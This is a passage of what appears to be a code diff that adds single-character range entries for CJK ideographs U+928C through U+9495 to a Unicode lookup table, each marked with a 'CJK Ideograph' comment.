+ ["\u928C", "\u928C"], /* CJK Ideograph */
+ ["\u928D", "\u928D"], /* CJK Ideograph */
+ ["\u928E", "\u928E"], /* CJK Ideograph */
+ ["\u928F", "\u928F"], /* CJK Ideograph */
+ ["\u9290", "\u9290"], /* CJK Ideograph */
+ ["\u9291", "\u9291"], /* CJK Ideograph */
+ ["\u9292", "\u9292"], /* CJK Ideograph */
+ ["\u9293", "\u9293"], /* CJK Ideograph */
+ ["\u9294", "\u9294"], /* CJK Ideograph */
+ ["\u9295", "\u9295"], /* CJK Ideograph */
+ ["\u9296", "\u9296"], /* CJK Ideograph */
+ ["\u9297", "\u9297"], /* CJK Ideograph */
+ ["\u9298", "\u9298"], /* CJK Ideograph */
+ ["\u9299", "\u9299"], /* CJK Ideograph */
+ ["\u929A", "\u929A"], /* CJK Ideograph */
+ ["\u929B", "\u929B"], /* CJK Ideograph */
+ ["\u929C", "\u929C"], /* CJK Ideograph */
+ ["\u929D", "\u929D"], /* CJK Ideograph */
+ ["\u929E", "\u929E"], /* CJK Ideograph */
+ ["\u929F", "\u929F"], /* CJK Ideograph */
+ ["\u92A0", "\u92A0"], /* CJK Ideograph */
+ ["\u92A1", "\u92A1"], /* CJK Ideograph */
+ ["\u92A2", "\u92A2"], /* CJK Ideograph */
+ ["\u92A3", "\u92A3"], /* CJK Ideograph */
+ ["\u92A4", "\u92A4"], /* CJK Ideograph */
+ ["\u92A5", "\u92A5"], /* CJK Ideograph */
+ ["\u92A6", "\u92A6"], /* CJK Ideograph */
+ ["\u92A7", "\u92A7"], /* CJK Ideograph */
+ ["\u92A8", "\u92A8"], /* CJK Ideograph */
+ ["\u92A9", "\u92A9"], /* CJK Ideograph */
+ ["\u92AA", "\u92AA"], /* CJK Ideograph */
+ ["\u92AB", "\u92AB"], /* CJK Ideograph */
+ ["\u92AC", "\u92AC"], /* CJK Ideograph */
+ ["\u92AD", "\u92AD"], /* CJK Ideograph */
+ ["\u92AE", "\u92AE"], /* CJK Ideograph */
+ ["\u92AF", "\u92AF"], /* CJK Ideograph */
+ ["\u92B0", "\u92B0"], /* CJK Ideograph */
+ ["\u92B1", "\u92B1"], /* CJK Ideograph */
+ ["\u92B2", "\u92B2"], /* CJK Ideograph */
+ ["\u92B3", "\u92B3"], /* CJK Ideograph */
+ ["\u92B4", "\u92B4"], /* CJK Ideograph */
+ ["\u92B5", "\u92B5"], /* CJK Ideograph */
+ ["\u92B6", "\u92B6"], /* CJK Ideograph */
+ ["\u92B7", "\u92B7"], /* CJK Ideograph */
+ ["\u92B8", "\u92B8"], /* CJK Ideograph */
+ ["\u92B9", "\u92B9"], /* CJK Ideograph */
+ ["\u92BA", "\u92BA"], /* CJK Ideograph */
+ ["\u92BB", "\u92BB"], /* CJK Ideograph */
+ ["\u92BC", "\u92BC"], /* CJK Ideograph */
+ ["\u92BD", "\u92BD"], /* CJK Ideograph */
+ ["\u92BE", "\u92BE"], /* CJK Ideograph */
+ ["\u92BF", "\u92BF"], /* CJK Ideograph */
+ ["\u92C0", "\u92C0"], /* CJK Ideograph */
+ ["\u92C1", "\u92C1"], /* CJK Ideograph */
+ ["\u92C2", "\u92C2"], /* CJK Ideograph */
+ ["\u92C3", "\u92C3"], /* CJK Ideograph */
+ ["\u92C4", "\u92C4"], /* CJK Ideograph */
+ ["\u92C5", "\u92C5"], /* CJK Ideograph */
+ ["\u92C6", "\u92C6"], /* CJK Ideograph */
+ ["\u92C7", "\u92C7"], /* CJK Ideograph */
+ ["\u92C8", "\u92C8"], /* CJK Ideograph */
+ ["\u92C9", "\u92C9"], /* CJK Ideograph */
+ ["\u92CA", "\u92CA"], /* CJK Ideograph */
+ ["\u92CB", "\u92CB"], /* CJK Ideograph */
+ ["\u92CC", "\u92CC"], /* CJK Ideograph */
+ ["\u92CD", "\u92CD"], /* CJK Ideograph */
+ ["\u92CE", "\u92CE"], /* CJK Ideograph */
+ ["\u92CF", "\u92CF"], /* CJK Ideograph */
+ ["\u92D0", "\u92D0"], /* CJK Ideograph */
+ ["\u92D1", "\u92D1"], /* CJK Ideograph */
+ ["\u92D2", "\u92D2"], /* CJK Ideograph */
+ ["\u92D3", "\u92D3"], /* CJK Ideograph */
+ ["\u92D4", "\u92D4"], /* CJK Ideograph */
+ ["\u92D5", "\u92D5"], /* CJK Ideograph */
+ ["\u92D6", "\u92D6"], /* CJK Ideograph */
+ ["\u92D7", "\u92D7"], /* CJK Ideograph */
+ ["\u92D8", "\u92D8"], /* CJK Ideograph */
+ ["\u92D9", "\u92D9"], /* CJK Ideograph */
+ ["\u92DA", "\u92DA"], /* CJK Ideograph */
+ ["\u92DB", "\u92DB"], /* CJK Ideograph */
+ ["\u92DC", "\u92DC"], /* CJK Ideograph */
+ ["\u92DD", "\u92DD"], /* CJK Ideograph */
+ ["\u92DE", "\u92DE"], /* CJK Ideograph */
+ ["\u92DF", "\u92DF"], /* CJK Ideograph */
+ ["\u92E0", "\u92E0"], /* CJK Ideograph */
+ ["\u92E1", "\u92E1"], /* CJK Ideograph */
+ ["\u92E2", "\u92E2"], /* CJK Ideograph */
+ ["\u92E3", "\u92E3"], /* CJK Ideograph */
+ ["\u92E4", "\u92E4"], /* CJK Ideograph */
+ ["\u92E5", "\u92E5"], /* CJK Ideograph */
+ ["\u92E6", "\u92E6"], /* CJK Ideograph */
+ ["\u92E7", "\u92E7"], /* CJK Ideograph */
+ ["\u92E8", "\u92E8"], /* CJK Ideograph */
+ ["\u92E9", "\u92E9"], /* CJK Ideograph */
+ ["\u92EA", "\u92EA"], /* CJK Ideograph */
+ ["\u92EB", "\u92EB"], /* CJK Ideograph */
+ ["\u92EC", "\u92EC"], /* CJK Ideograph */
+ ["\u92ED", "\u92ED"], /* CJK Ideograph */
+ ["\u92EE", "\u92EE"], /* CJK Ideograph */
+ ["\u92EF", "\u92EF"], /* CJK Ideograph */
+ ["\u92F0", "\u92F0"], /* CJK Ideograph */
+ ["\u92F1", "\u92F1"], /* CJK Ideograph */
+ ["\u92F2", "\u92F2"], /* CJK Ideograph */
+ ["\u92F3", "\u92F3"], /* CJK Ideograph */
+ ["\u92F4", "\u92F4"], /* CJK Ideograph */
+ ["\u92F5", "\u92F5"], /* CJK Ideograph */
+ ["\u92F6", "\u92F6"], /* CJK Ideograph */
+ ["\u92F7", "\u92F7"], /* CJK Ideograph */
+ ["\u92F8", "\u92F8"], /* CJK Ideograph */
+ ["\u92F9", "\u92F9"], /* CJK Ideograph */
+ ["\u92FA", "\u92FA"], /* CJK Ideograph */
+ ["\u92FB", "\u92FB"], /* CJK Ideograph */
+ ["\u92FC", "\u92FC"], /* CJK Ideograph */
+ ["\u92FD", "\u92FD"], /* CJK Ideograph */
+ ["\u92FE", "\u92FE"], /* CJK Ideograph */
+ ["\u92FF", "\u92FF"], /* CJK Ideograph */
+ ["\u9300", "\u9300"], /* CJK Ideograph */
+ ["\u9301", "\u9301"], /* CJK Ideograph */
+ ["\u9302", "\u9302"], /* CJK Ideograph */
+ ["\u9303", "\u9303"], /* CJK Ideograph */
+ ["\u9304", "\u9304"], /* CJK Ideograph */
+ ["\u9305", "\u9305"], /* CJK Ideograph */
+ ["\u9306", "\u9306"], /* CJK Ideograph */
+ ["\u9307", "\u9307"], /* CJK Ideograph */
+ ["\u9308", "\u9308"], /* CJK Ideograph */
+ ["\u9309", "\u9309"], /* CJK Ideograph */
+ ["\u930A", "\u930A"], /* CJK Ideograph */
+ ["\u930B", "\u930B"], /* CJK Ideograph */
+ ["\u930C", "\u930C"], /* CJK Ideograph */
+ ["\u930D", "\u930D"], /* CJK Ideograph */
+ ["\u930E", "\u930E"], /* CJK Ideograph */
+ ["\u930F", "\u930F"], /* CJK Ideograph */
+ ["\u9310", "\u9310"], /* CJK Ideograph */
+ ["\u9311", "\u9311"], /* CJK Ideograph */
+ ["\u9312", "\u9312"], /* CJK Ideograph */
+ ["\u9313", "\u9313"], /* CJK Ideograph */
+ ["\u9314", "\u9314"], /* CJK Ideograph */
+ ["\u9315", "\u9315"], /* CJK Ideograph */
+ ["\u9316", "\u9316"], /* CJK Ideograph */
+ ["\u9317", "\u9317"], /* CJK Ideograph */
+ ["\u9318", "\u9318"], /* CJK Ideograph */
+ ["\u9319", "\u9319"], /* CJK Ideograph */
+ ["\u931A", "\u931A"], /* CJK Ideograph */
+ ["\u931B", "\u931B"], /* CJK Ideograph */
+ ["\u931C", "\u931C"], /* CJK Ideograph */
+ ["\u931D", "\u931D"], /* CJK Ideograph */
+ ["\u931E", "\u931E"], /* CJK Ideograph */
+ ["\u931F", "\u931F"], /* CJK Ideograph */
+ ["\u9320", "\u9320"], /* CJK Ideograph */
+ ["\u9321", "\u9321"], /* CJK Ideograph */
+ ["\u9322", "\u9322"], /* CJK Ideograph */
+ ["\u9323", "\u9323"], /* CJK Ideograph */
+ ["\u9324", "\u9324"], /* CJK Ideograph */
+ ["\u9325", "\u9325"], /* CJK Ideograph */
+ ["\u9326", "\u9326"], /* CJK Ideograph */
+ ["\u9327", "\u9327"], /* CJK Ideograph */
+ ["\u9328", "\u9328"], /* CJK Ideograph */
+ ["\u9329", "\u9329"], /* CJK Ideograph */
+ ["\u932A", "\u932A"], /* CJK Ideograph */
+ ["\u932B", "\u932B"], /* CJK Ideograph */
+ ["\u932C", "\u932C"], /* CJK Ideograph */
+ ["\u932D", "\u932D"], /* CJK Ideograph */
+ ["\u932E", "\u932E"], /* CJK Ideograph */
+ ["\u932F", "\u932F"], /* CJK Ideograph */
+ ["\u9330", "\u9330"], /* CJK Ideograph */
+ ["\u9331", "\u9331"], /* CJK Ideograph */
+ ["\u9332", "\u9332"], /* CJK Ideograph */
+ ["\u9333", "\u9333"], /* CJK Ideograph */
+ ["\u9334", "\u9334"], /* CJK Ideograph */
+ ["\u9335", "\u9335"], /* CJK Ideograph */
+ ["\u9336", "\u9336"], /* CJK Ideograph */
+ ["\u9337", "\u9337"], /* CJK Ideograph */
+ ["\u9338", "\u9338"], /* CJK Ideograph */
+ ["\u9339", "\u9339"], /* CJK Ideograph */
+ ["\u933A", "\u933A"], /* CJK Ideograph */
+ ["\u933B", "\u933B"], /* CJK Ideograph */
+ ["\u933C", "\u933C"], /* CJK Ideograph */
+ ["\u933D", "\u933D"], /* CJK Ideograph */
+ ["\u933E", "\u933E"], /* CJK Ideograph */
+ ["\u933F", "\u933F"], /* CJK Ideograph */
+ ["\u9340", "\u9340"], /* CJK Ideograph */
+ ["\u9341", "\u9341"], /* CJK Ideograph */
+ ["\u9342", "\u9342"], /* CJK Ideograph */
+ ["\u9343", "\u9343"], /* CJK Ideograph */
+ ["\u9344", "\u9344"], /* CJK Ideograph */
+ ["\u9345", "\u9345"], /* CJK Ideograph */
+ ["\u9346", "\u9346"], /* CJK Ideograph */
+ ["\u9347", "\u9347"], /* CJK Ideograph */
+ ["\u9348", "\u9348"], /* CJK Ideograph */
+ ["\u9349", "\u9349"], /* CJK Ideograph */
+ ["\u934A", "\u934A"], /* CJK Ideograph */
+ ["\u934B", "\u934B"], /* CJK Ideograph */
+ ["\u934C", "\u934C"], /* CJK Ideograph */
+ ["\u934D", "\u934D"], /* CJK Ideograph */
+ ["\u934E", "\u934E"], /* CJK Ideograph */
+ ["\u934F", "\u934F"], /* CJK Ideograph */
+ ["\u9350", "\u9350"], /* CJK Ideograph */
+ ["\u9351", "\u9351"], /* CJK Ideograph */
+ ["\u9352", "\u9352"], /* CJK Ideograph */
+ ["\u9353", "\u9353"], /* CJK Ideograph */
+ ["\u9354", "\u9354"], /* CJK Ideograph */
+ ["\u9355", "\u9355"], /* CJK Ideograph */
+ ["\u9356", "\u9356"], /* CJK Ideograph */
+ ["\u9357", "\u9357"], /* CJK Ideograph */
+ ["\u9358", "\u9358"], /* CJK Ideograph */
+ ["\u9359", "\u9359"], /* CJK Ideograph */
+ ["\u935A", "\u935A"], /* CJK Ideograph */
+ ["\u935B", "\u935B"], /* CJK Ideograph */
+ ["\u935C", "\u935C"], /* CJK Ideograph */
+ ["\u935D", "\u935D"], /* CJK Ideograph */
+ ["\u935E", "\u935E"], /* CJK Ideograph */
+ ["\u935F", "\u935F"], /* CJK Ideograph */
+ ["\u9360", "\u9360"], /* CJK Ideograph */
+ ["\u9361", "\u9361"], /* CJK Ideograph */
+ ["\u9362", "\u9362"], /* CJK Ideograph */
+ ["\u9363", "\u9363"], /* CJK Ideograph */
+ ["\u9364", "\u9364"], /* CJK Ideograph */
+ ["\u9365", "\u9365"], /* CJK Ideograph */
+ ["\u9366", "\u9366"], /* CJK Ideograph */
+ ["\u9367", "\u9367"], /* CJK Ideograph */
+ ["\u9368", "\u9368"], /* CJK Ideograph */
+ ["\u9369", "\u9369"], /* CJK Ideograph */
+ ["\u936A", "\u936A"], /* CJK Ideograph */
+ ["\u936B", "\u936B"], /* CJK Ideograph */
+ ["\u936C", "\u936C"], /* CJK Ideograph */
+ ["\u936D", "\u936D"], /* CJK Ideograph */
+ ["\u936E", "\u936E"], /* CJK Ideograph */
+ ["\u936F", "\u936F"], /* CJK Ideograph */
+ ["\u9370", "\u9370"], /* CJK Ideograph */
+ ["\u9371", "\u9371"], /* CJK Ideograph */
+ ["\u9372", "\u9372"], /* CJK Ideograph */
+ ["\u9373", "\u9373"], /* CJK Ideograph */
+ ["\u9374", "\u9374"], /* CJK Ideograph */
+ ["\u9375", "\u9375"], /* CJK Ideograph */
+ ["\u9376", "\u9376"], /* CJK Ideograph */
+ ["\u9377", "\u9377"], /* CJK Ideograph */
+ ["\u9378", "\u9378"], /* CJK Ideograph */
+ ["\u9379", "\u9379"], /* CJK Ideograph */
+ ["\u937A", "\u937A"], /* CJK Ideograph */
+ ["\u937B", "\u937B"], /* CJK Ideograph */
+ ["\u937C", "\u937C"], /* CJK Ideograph */
+ ["\u937D", "\u937D"], /* CJK Ideograph */
+ ["\u937E", "\u937E"], /* CJK Ideograph */
+ ["\u937F", "\u937F"], /* CJK Ideograph */
+ ["\u9380", "\u9380"], /* CJK Ideograph */
+ ["\u9381", "\u9381"], /* CJK Ideograph */
+ ["\u9382", "\u9382"], /* CJK Ideograph */
+ ["\u9383", "\u9383"], /* CJK Ideograph */
+ ["\u9384", "\u9384"], /* CJK Ideograph */
+ ["\u9385", "\u9385"], /* CJK Ideograph */
+ ["\u9386", "\u9386"], /* CJK Ideograph */
+ ["\u9387", "\u9387"], /* CJK Ideograph */
+ ["\u9388", "\u9388"], /* CJK Ideograph */
+ ["\u9389", "\u9389"], /* CJK Ideograph */
+ ["\u938A", "\u938A"], /* CJK Ideograph */
+ ["\u938B", "\u938B"], /* CJK Ideograph */
+ ["\u938C", "\u938C"], /* CJK Ideograph */
+ ["\u938D", "\u938D"], /* CJK Ideograph */
+ ["\u938E", "\u938E"], /* CJK Ideograph */
+ ["\u938F", "\u938F"], /* CJK Ideograph */
+ ["\u9390", "\u9390"], /* CJK Ideograph */
+ ["\u9391", "\u9391"], /* CJK Ideograph */
+ ["\u9392", "\u9392"], /* CJK Ideograph */
+ ["\u9393", "\u9393"], /* CJK Ideograph */
+ ["\u9394", "\u9394"], /* CJK Ideograph */
+ ["\u9395", "\u9395"], /* CJK Ideograph */
+ ["\u9396", "\u9396"], /* CJK Ideograph */
+ ["\u9397", "\u9397"], /* CJK Ideograph */
+ ["\u9398", "\u9398"], /* CJK Ideograph */
+ ["\u9399", "\u9399"], /* CJK Ideograph */
+ ["\u939A", "\u939A"], /* CJK Ideograph */
+ ["\u939B", "\u939B"], /* CJK Ideograph */
+ ["\u939C", "\u939C"], /* CJK Ideograph */
+ ["\u939D", "\u939D"], /* CJK Ideograph */
+ ["\u939E", "\u939E"], /* CJK Ideograph */
+ ["\u939F", "\u939F"], /* CJK Ideograph */
+ ["\u93A0", "\u93A0"], /* CJK Ideograph */
+ ["\u93A1", "\u93A1"], /* CJK Ideograph */
+ ["\u93A2", "\u93A2"], /* CJK Ideograph */
+ ["\u93A3", "\u93A3"], /* CJK Ideograph */
+ ["\u93A4", "\u93A4"], /* CJK Ideograph */
+ ["\u93A5", "\u93A5"], /* CJK Ideograph */
+ ["\u93A6", "\u93A6"], /* CJK Ideograph */
+ ["\u93A7", "\u93A7"], /* CJK Ideograph */
+ ["\u93A8", "\u93A8"], /* CJK Ideograph */
+ ["\u93A9", "\u93A9"], /* CJK Ideograph */
+ ["\u93AA", "\u93AA"], /* CJK Ideograph */
+ ["\u93AB", "\u93AB"], /* CJK Ideograph */
+ ["\u93AC", "\u93AC"], /* CJK Ideograph */
+ ["\u93AD", "\u93AD"], /* CJK Ideograph */
+ ["\u93AE", "\u93AE"], /* CJK Ideograph */
+ ["\u93AF", "\u93AF"], /* CJK Ideograph */
+ ["\u93B0", "\u93B0"], /* CJK Ideograph */
+ ["\u93B1", "\u93B1"], /* CJK Ideograph */
+ ["\u93B2", "\u93B2"], /* CJK Ideograph */
+ ["\u93B3", "\u93B3"], /* CJK Ideograph */
+ ["\u93B4", "\u93B4"], /* CJK Ideograph */
+ ["\u93B5", "\u93B5"], /* CJK Ideograph */
+ ["\u93B6", "\u93B6"], /* CJK Ideograph */
+ ["\u93B7", "\u93B7"], /* CJK Ideograph */
+ ["\u93B8", "\u93B8"], /* CJK Ideograph */
+ ["\u93B9", "\u93B9"], /* CJK Ideograph */
+ ["\u93BA", "\u93BA"], /* CJK Ideograph */
+ ["\u93BB", "\u93BB"], /* CJK Ideograph */
+ ["\u93BC", "\u93BC"], /* CJK Ideograph */
+ ["\u93BD", "\u93BD"], /* CJK Ideograph */
+ ["\u93BE", "\u93BE"], /* CJK Ideograph */
+ ["\u93BF", "\u93BF"], /* CJK Ideograph */
+ ["\u93C0", "\u93C0"], /* CJK Ideograph */
+ ["\u93C1", "\u93C1"], /* CJK Ideograph */
+ ["\u93C2", "\u93C2"], /* CJK Ideograph */
+ ["\u93C3", "\u93C3"], /* CJK Ideograph */
+ ["\u93C4", "\u93C4"], /* CJK Ideograph */
+ ["\u93C5", "\u93C5"], /* CJK Ideograph */
+ ["\u93C6", "\u93C6"], /* CJK Ideograph */
+ ["\u93C7", "\u93C7"], /* CJK Ideograph */
+ ["\u93C8", "\u93C8"], /* CJK Ideograph */
+ ["\u93C9", "\u93C9"], /* CJK Ideograph */
+ ["\u93CA", "\u93CA"], /* CJK Ideograph */
+ ["\u93CB", "\u93CB"], /* CJK Ideograph */
+ ["\u93CC", "\u93CC"], /* CJK Ideograph */
+ ["\u93CD", "\u93CD"], /* CJK Ideograph */
+ ["\u93CE", "\u93CE"], /* CJK Ideograph */
+ ["\u93CF", "\u93CF"], /* CJK Ideograph */
+ ["\u93D0", "\u93D0"], /* CJK Ideograph */
+ ["\u93D1", "\u93D1"], /* CJK Ideograph */
+ ["\u93D2", "\u93D2"], /* CJK Ideograph */
+ ["\u93D3", "\u93D3"], /* CJK Ideograph */
+ ["\u93D4", "\u93D4"], /* CJK Ideograph */
+ ["\u93D5", "\u93D5"], /* CJK Ideograph */
+ ["\u93D6", "\u93D6"], /* CJK Ideograph */
+ ["\u93D7", "\u93D7"], /* CJK Ideograph */
+ ["\u93D8", "\u93D8"], /* CJK Ideograph */
+ ["\u93D9", "\u93D9"], /* CJK Ideograph */
+ ["\u93DA", "\u93DA"], /* CJK Ideograph */
+ ["\u93DB", "\u93DB"], /* CJK Ideograph */
+ ["\u93DC", "\u93DC"], /* CJK Ideograph */
+ ["\u93DD", "\u93DD"], /* CJK Ideograph */
+ ["\u93DE", "\u93DE"], /* CJK Ideograph */
+ ["\u93DF", "\u93DF"], /* CJK Ideograph */
+ ["\u93E0", "\u93E0"], /* CJK Ideograph */
+ ["\u93E1", "\u93E1"], /* CJK Ideograph */
+ ["\u93E2", "\u93E2"], /* CJK Ideograph */
+ ["\u93E3", "\u93E3"], /* CJK Ideograph */
+ ["\u93E4", "\u93E4"], /* CJK Ideograph */
+ ["\u93E5", "\u93E5"], /* CJK Ideograph */
+ ["\u93E6", "\u93E6"], /* CJK Ideograph */
+ ["\u93E7", "\u93E7"], /* CJK Ideograph */
+ ["\u93E8", "\u93E8"], /* CJK Ideograph */
+ ["\u93E9", "\u93E9"], /* CJK Ideograph */
+ ["\u93EA", "\u93EA"], /* CJK Ideograph */
+ ["\u93EB", "\u93EB"], /* CJK Ideograph */
+ ["\u93EC", "\u93EC"], /* CJK Ideograph */
+ ["\u93ED", "\u93ED"], /* CJK Ideograph */
+ ["\u93EE", "\u93EE"], /* CJK Ideograph */
+ ["\u93EF", "\u93EF"], /* CJK Ideograph */
+ ["\u93F0", "\u93F0"], /* CJK Ideograph */
+ ["\u93F1", "\u93F1"], /* CJK Ideograph */
+ ["\u93F2", "\u93F2"], /* CJK Ideograph */
+ ["\u93F3", "\u93F3"], /* CJK Ideograph */
+ ["\u93F4", "\u93F4"], /* CJK Ideograph */
+ ["\u93F5", "\u93F5"], /* CJK Ideograph */
+ ["\u93F6", "\u93F6"], /* CJK Ideograph */
+ ["\u93F7", "\u93F7"], /* CJK Ideograph */
+ ["\u93F8", "\u93F8"], /* CJK Ideograph */
+ ["\u93F9", "\u93F9"], /* CJK Ideograph */
+ ["\u93FA", "\u93FA"], /* CJK Ideograph */
+ ["\u93FB", "\u93FB"], /* CJK Ideograph */
+ ["\u93FC", "\u93FC"], /* CJK Ideograph */
+ ["\u93FD", "\u93FD"], /* CJK Ideograph */
+ ["\u93FE", "\u93FE"], /* CJK Ideograph */
+ ["\u93FF", "\u93FF"], /* CJK Ideograph */
+ ["\u9400", "\u9400"], /* CJK Ideograph */
+ ["\u9401", "\u9401"], /* CJK Ideograph */
+ ["\u9402", "\u9402"], /* CJK Ideograph */
+ ["\u9403", "\u9403"], /* CJK Ideograph */
+ ["\u9404", "\u9404"], /* CJK Ideograph */
+ ["\u9405", "\u9405"], /* CJK Ideograph */
+ ["\u9406", "\u9406"], /* CJK Ideograph */
+ ["\u9407", "\u9407"], /* CJK Ideograph */
+ ["\u9408", "\u9408"], /* CJK Ideograph */
+ ["\u9409", "\u9409"], /* CJK Ideograph */
+ ["\u940A", "\u940A"], /* CJK Ideograph */
+ ["\u940B", "\u940B"], /* CJK Ideograph */
+ ["\u940C", "\u940C"], /* CJK Ideograph */
+ ["\u940D", "\u940D"], /* CJK Ideograph */
+ ["\u940E", "\u940E"], /* CJK Ideograph */
+ ["\u940F", "\u940F"], /* CJK Ideograph */
+ ["\u9410", "\u9410"], /* CJK Ideograph */
+ ["\u9411", "\u9411"], /* CJK Ideograph */
+ ["\u9412", "\u9412"], /* CJK Ideograph */
+ ["\u9413", "\u9413"], /* CJK Ideograph */
+ ["\u9414", "\u9414"], /* CJK Ideograph */
+ ["\u9415", "\u9415"], /* CJK Ideograph */
+ ["\u9416", "\u9416"], /* CJK Ideograph */
+ ["\u9417", "\u9417"], /* CJK Ideograph */
+ ["\u9418", "\u9418"], /* CJK Ideograph */
+ ["\u9419", "\u9419"], /* CJK Ideograph */
+ ["\u941A", "\u941A"], /* CJK Ideograph */
+ ["\u941B", "\u941B"], /* CJK Ideograph */
+ ["\u941C", "\u941C"], /* CJK Ideograph */
+ ["\u941D", "\u941D"], /* CJK Ideograph */
+ ["\u941E", "\u941E"], /* CJK Ideograph */
+ ["\u941F", "\u941F"], /* CJK Ideograph */
+ ["\u9420", "\u9420"], /* CJK Ideograph */
+ ["\u9421", "\u9421"], /* CJK Ideograph */
+ ["\u9422", "\u9422"], /* CJK Ideograph */
+ ["\u9423", "\u9423"], /* CJK Ideograph */
+ ["\u9424", "\u9424"], /* CJK Ideograph */
+ ["\u9425", "\u9425"], /* CJK Ideograph */
+ ["\u9426", "\u9426"], /* CJK Ideograph */
+ ["\u9427", "\u9427"], /* CJK Ideograph */
+ ["\u9428", "\u9428"], /* CJK Ideograph */
+ ["\u9429", "\u9429"], /* CJK Ideograph */
+ ["\u942A", "\u942A"], /* CJK Ideograph */
+ ["\u942B", "\u942B"], /* CJK Ideograph */
+ ["\u942C", "\u942C"], /* CJK Ideograph */
+ ["\u942D", "\u942D"], /* CJK Ideograph */
+ ["\u942E", "\u942E"], /* CJK Ideograph */
+ ["\u942F", "\u942F"], /* CJK Ideograph */
+ ["\u9430", "\u9430"], /* CJK Ideograph */
+ ["\u9431", "\u9431"], /* CJK Ideograph */
+ ["\u9432", "\u9432"], /* CJK Ideograph */
+ ["\u9433", "\u9433"], /* CJK Ideograph */
+ ["\u9434", "\u9434"], /* CJK Ideograph */
+ ["\u9435", "\u9435"], /* CJK Ideograph */
+ ["\u9436", "\u9436"], /* CJK Ideograph */
+ ["\u9437", "\u9437"], /* CJK Ideograph */
+ ["\u9438", "\u9438"], /* CJK Ideograph */
+ ["\u9439", "\u9439"], /* CJK Ideograph */
+ ["\u943A", "\u943A"], /* CJK Ideograph */
+ ["\u943B", "\u943B"], /* CJK Ideograph */
+ ["\u943C", "\u943C"], /* CJK Ideograph */
+ ["\u943D", "\u943D"], /* CJK Ideograph */
+ ["\u943E", "\u943E"], /* CJK Ideograph */
+ ["\u943F", "\u943F"], /* CJK Ideograph */
+ ["\u9440", "\u9440"], /* CJK Ideograph */
+ ["\u9441", "\u9441"], /* CJK Ideograph */
+ ["\u9442", "\u9442"], /* CJK Ideograph */
+ ["\u9443", "\u9443"], /* CJK Ideograph */
+ ["\u9444", "\u9444"], /* CJK Ideograph */
+ ["\u9445", "\u9445"], /* CJK Ideograph */
+ ["\u9446", "\u9446"], /* CJK Ideograph */
+ ["\u9447", "\u9447"], /* CJK Ideograph */
+ ["\u9448", "\u9448"], /* CJK Ideograph */
+ ["\u9449", "\u9449"], /* CJK Ideograph */
+ ["\u944A", "\u944A"], /* CJK Ideograph */
+ ["\u944B", "\u944B"], /* CJK Ideograph */
+ ["\u944C", "\u944C"], /* CJK Ideograph */
+ ["\u944D", "\u944D"], /* CJK Ideograph */
+ ["\u944E", "\u944E"], /* CJK Ideograph */
+ ["\u944F", "\u944F"], /* CJK Ideograph */
+ ["\u9450", "\u9450"], /* CJK Ideograph */
+ ["\u9451", "\u9451"], /* CJK Ideograph */
+ ["\u9452", "\u9452"], /* CJK Ideograph */
+ ["\u9453", "\u9453"], /* CJK Ideograph */
+ ["\u9454", "\u9454"], /* CJK Ideograph */
+ ["\u9455", "\u9455"], /* CJK Ideograph */
+ ["\u9456", "\u9456"], /* CJK Ideograph */
+ ["\u9457", "\u9457"], /* CJK Ideograph */
+ ["\u9458", "\u9458"], /* CJK Ideograph */
+ ["\u9459", "\u9459"], /* CJK Ideograph */
+ ["\u945A", "\u945A"], /* CJK Ideograph */
+ ["\u945B", "\u945B"], /* CJK Ideograph */
+ ["\u945C", "\u945C"], /* CJK Ideograph */
+ ["\u945D", "\u945D"], /* CJK Ideograph */
+ ["\u945E", "\u945E"], /* CJK Ideograph */
+ ["\u945F", "\u945F"], /* CJK Ideograph */
+ ["\u9460", "\u9460"], /* CJK Ideograph */
+ ["\u9461", "\u9461"], /* CJK Ideograph */
+ ["\u9462", "\u9462"], /* CJK Ideograph */
+ ["\u9463", "\u9463"], /* CJK Ideograph */
+ ["\u9464", "\u9464"], /* CJK Ideograph */
+ ["\u9465", "\u9465"], /* CJK Ideograph */
+ ["\u9466", "\u9466"], /* CJK Ideograph */
+ ["\u9467", "\u9467"], /* CJK Ideograph */
+ ["\u9468", "\u9468"], /* CJK Ideograph */
+ ["\u9469", "\u9469"], /* CJK Ideograph */
+ ["\u946A", "\u946A"], /* CJK Ideograph */
+ ["\u946B", "\u946B"], /* CJK Ideograph */
+ ["\u946C", "\u946C"], /* CJK Ideograph */
+ ["\u946D", "\u946D"], /* CJK Ideograph */
+ ["\u946E", "\u946E"], /* CJK Ideograph */
+ ["\u946F", "\u946F"], /* CJK Ideograph */
+ ["\u9470", "\u9470"], /* CJK Ideograph */
+ ["\u9471", "\u9471"], /* CJK Ideograph */
+ ["\u9472", "\u9472"], /* CJK Ideograph */
+ ["\u9473", "\u9473"], /* CJK Ideograph */
+ ["\u9474", "\u9474"], /* CJK Ideograph */
+ ["\u9475", "\u9475"], /* CJK Ideograph */
+ ["\u9476", "\u9476"], /* CJK Ideograph */
+ ["\u9477", "\u9477"], /* CJK Ideograph */
+ ["\u9478", "\u9478"], /* CJK Ideograph */
+ ["\u9479", "\u9479"], /* CJK Ideograph */
+ ["\u947A", "\u947A"], /* CJK Ideograph */
+ ["\u947B", "\u947B"], /* CJK Ideograph */
+ ["\u947C", "\u947C"], /* CJK Ideograph */
+ ["\u947D", "\u947D"], /* CJK Ideograph */
+ ["\u947E", "\u947E"], /* CJK Ideograph */
+ ["\u947F", "\u947F"], /* CJK Ideograph */
+ ["\u9480", "\u9480"], /* CJK Ideograph */
+ ["\u9481", "\u9481"], /* CJK Ideograph */
+ ["\u9482", "\u9482"], /* CJK Ideograph */
+ ["\u9483", "\u9483"], /* CJK Ideograph */
+ ["\u9484", "\u9484"], /* CJK Ideograph */
+ ["\u9485", "\u9485"], /* CJK Ideograph */
+ ["\u9486", "\u9486"], /* CJK Ideograph */
+ ["\u9487", "\u9487"], /* CJK Ideograph */
+ ["\u9488", "\u9488"], /* CJK Ideograph */
+ ["\u9489", "\u9489"], /* CJK Ideograph */
+ ["\u948A", "\u948A"], /* CJK Ideograph */
+ ["\u948B", "\u948B"], /* CJK Ideograph */
+ ["\u948C", "\u948C"], /* CJK Ideograph */
+ ["\u948D", "\u948D"], /* CJK Ideograph */
+ ["\u948E", "\u948E"], /* CJK Ideograph */
+ ["\u948F", "\u948F"], /* CJK Ideograph */
+ ["\u9490", "\u9490"], /* CJK Ideograph */
+ ["\u9491", "\u9491"], /* CJK Ideograph */
+ ["\u9492", "\u9492"], /* CJK Ideograph */
+ ["\u9493", "\u9493"], /* CJK Ideograph */
+ ["\u9494", "\u9494"], /* CJK Ideograph */
+ ["\u9495", "\u9495"], /* CJK Ideograph */
